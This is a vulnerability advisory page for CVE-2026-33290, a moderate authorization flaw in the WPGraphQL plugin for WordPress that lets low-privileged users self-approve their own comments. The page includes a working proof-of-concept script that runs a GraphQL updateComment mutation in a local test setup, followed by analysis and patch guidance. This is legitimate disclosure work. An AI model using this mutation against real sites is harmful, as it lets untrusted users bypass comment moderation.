Skip to main content

PHP CVE-2026-33290

MEDIUM
Missing Authorization (CWE-862)
2026-03-23 GitHub_M
4.3
CVSS 3.1 · GitHub Advisory
Share

Severity by source

GitHub Advisory PRIMARY
4.3 MEDIUM
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
Low
Availability
None

Lifecycle Timeline

2
Analysis Generated
Mar 24, 2026 - 00:45 vuln.today
CVE Published
Mar 23, 2026 - 23:58 nvd
MEDIUM 4.3

DescriptionGitHub Advisory

WPGraphQL provides a GraphQL API for WordPress sites. Prior to version 2.10.0, an authorization flaw in updateComment allows an authenticated low-privileged user (including a custom role with zero capabilities) to change moderation status of their own comment (for example to APPROVE) without the moderate_comments capability. This can bypass moderation workflows and let untrusted users self-approve content. Version 2.10.0 contains a patch.

Details

In WPGraphQL 2.9.1 (tested), authorization for updateComment is owner-based, not field-based:

  • plugins/wp-graphql/src/Mutation/CommentUpdate.php:92 allows moderators.
  • plugins/wp-graphql/src/Mutation/CommentUpdate.php:99:99 also allows the comment owner, even if they lack moderation capability.
  • plugins/wp-graphql/src/Data/CommentMutation.php:94:94 maps GraphQL input status directly to WordPress comment_approved.
  • plugins/wp-graphql/src/Mutation/CommentUpdate.php:120:120 persists that value via wp_update_comment.
  • plugins/wp-graphql/src/Type/Enum/CommentStatusEnum.php:22:22 exposes moderation states (APPROVE, HOLD, SPAM, TRASH).

This means a non-moderator owner can submit status during update and transition moderation state.

PoC

Tested in local wp-env (Docker) with WPGraphQL 2.9.1.

  1. Start environment:

npm install npm run wp-env start

  1. Run this PoC:
  npm run wp-env run cli -- wp eval '
  add_role("no_caps","No Caps",[]);
  $user_id = username_exists("poc_nocaps");
  if ( ! $user_id ) {
    $user_id = wp_create_user("poc_nocaps","Passw0rd!","poc_nocaps@example.com");
  }
  $user = get_user_by("id",$user_id);
  $user->set_role("no_caps");

  $post_id = wp_insert_post([
    "post_title" => "PoC post",
    "post_status" => "publish",
    "post_type" => "post",
    "comment_status" => "open",
  ]);

  $comment_id = wp_insert_comment([
    "comment_post_ID" => $post_id,
    "comment_content" => "pending comment",
    "user_id" => $user_id,
    "comment_author" => $user->display_name,
    "comment_author_email" => $user->user_email,
    "comment_approved" => "0",
  ]);

  wp_set_current_user($user_id);

  $result = graphql([
    "query" => "mutation U(\$id:ID!){ updateComment(input:{id:\$id,status:APPROVE}){ success comment{ databaseId status } } }",
    "variables" => [ "id" => (string)$comment_id ],
  ]);

  echo wp_json_encode([
    "role_caps" => array_keys(array_filter((array)$user->allcaps)),
    "status" => $result["data"]["updateComment"]["comment"]["status"] ?? null,
    "db_comment_approved" => get_comment($comment_id)->comment_approved ?? null,
    "comment_id" => $comment_id
  ]);
  '
  1. Observe result:
  • role_caps is empty (or no moderate_comments)
  • mutation returns status: APPROVE
  • DB value becomes comment_approved = 1

Impact

This is an authorization bypass / broken access control issue in comment moderation state transitions. Any deployment using WPGraphQL comment mutations where low-privileged users can make comments is impacted. Moderation policy can be bypassed by self-approving content.

AnalysisAI

WPGraphQL prior to version 2.10.0 allows authenticated low-privileged users to bypass comment moderation controls and self-approve their own comments without possessing the moderate_comments capability. The vulnerability exploits owner-based authorization logic in the updateComment mutation, enabling non-moderator users to transition comment status to APPROVE, HOLD, SPAM, or TRASH states directly. A proof-of-concept demonstrating this authorization bypass in WPGraphQL 2.9.1 has been published, and while the EPSS score of 0.03% indicates low statistical likelihood of exploitation, the attack vector is network-based with low complexity and requires only low-level user privileges (including custom roles with zero capabilities).

Technical ContextAI

WPGraphQL (cpe:2.3:a:wp-graphql:wp-graphql) is a GraphQL API layer for WordPress that exposes WordPress functionality via GraphQL mutations. The vulnerability resides in the updateComment mutation implementation spanning multiple files: CommentUpdate.php (authorization check at lines 92 and 99), CommentMutation.php (direct GraphQL-to-WordPress field mapping at line 94), and CommentStatusEnum.php (exposure of moderation state constants). The root cause is CWE-862 (Missing Authorization), where the authorization logic incorrectly permits comment owners to modify the status field regardless of their WordPress capabilities. The flaw occurs because authorization is performed at the object level (checking if user is the comment owner) rather than the field level (checking if user has moderate_comments capability before allowing status mutations). This allows direct mutation of the comment_approved field via GraphQL input, which is then persisted to the WordPress database through wp_update_comment without re-validation of the user's moderation rights.

RemediationAI

Upgrade WPGraphQL to version 2.10.0 or later immediately. The patch is available in the vendor's official release at https://github.com/wp-graphql/wp-graphql/releases/tag/wp-graphql%2Fv2.10.0. Until patching is completed, mitigate by restricting comment submission permissions to authenticated users with explicit moderation capabilities, disabling the updateComment GraphQL mutation via a site-wide GraphQL schema filter, or implementing WordPress user role restrictions that prevent low-privileged roles from creating comments on public-facing content. Additionally, audit existing comments by low-privileged users (particularly those in pending status) to identify any that may have been self-approved prior to patching.

More in PHP

View all
CVE-2012-1823 CRITICAL POC
9.8 May 11

sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not

CVE-2016-1555 CRITICAL POC
9.8 Apr 21

(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear

CVE-2024-11680 CRITICAL POC
9.8 Nov 26

ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C

CVE-2025-49113 CRITICAL POC
9.9 Jun 02

Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au

CVE-2017-9841 CRITICAL POC
9.8 Jun 27

Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c

CVE-2025-0108 HIGH POC
8.8 Feb 12

Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers

CVE-2021-25298 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2021-25296 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2013-4983 CRITICAL POC
10.0 Sep 10

The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows

CVE-2023-6553 CRITICAL POC
9.8 Dec 15

The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1

CVE-2024-46506 CRITICAL POC
10.0 May 13

NetAlertX (formerly PiAlert) versions 23.01.14 through 24.x before 24.10.12 allow unauthenticated command injection thro

CVE-2024-8353 CRITICAL POC
9.8 Sep 28

The GiveWP - Donation Plugin and Fundraising Platform plugin for WordPress is vulnerable to PHP Object Injection in all

Share

CVE-2026-33290 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy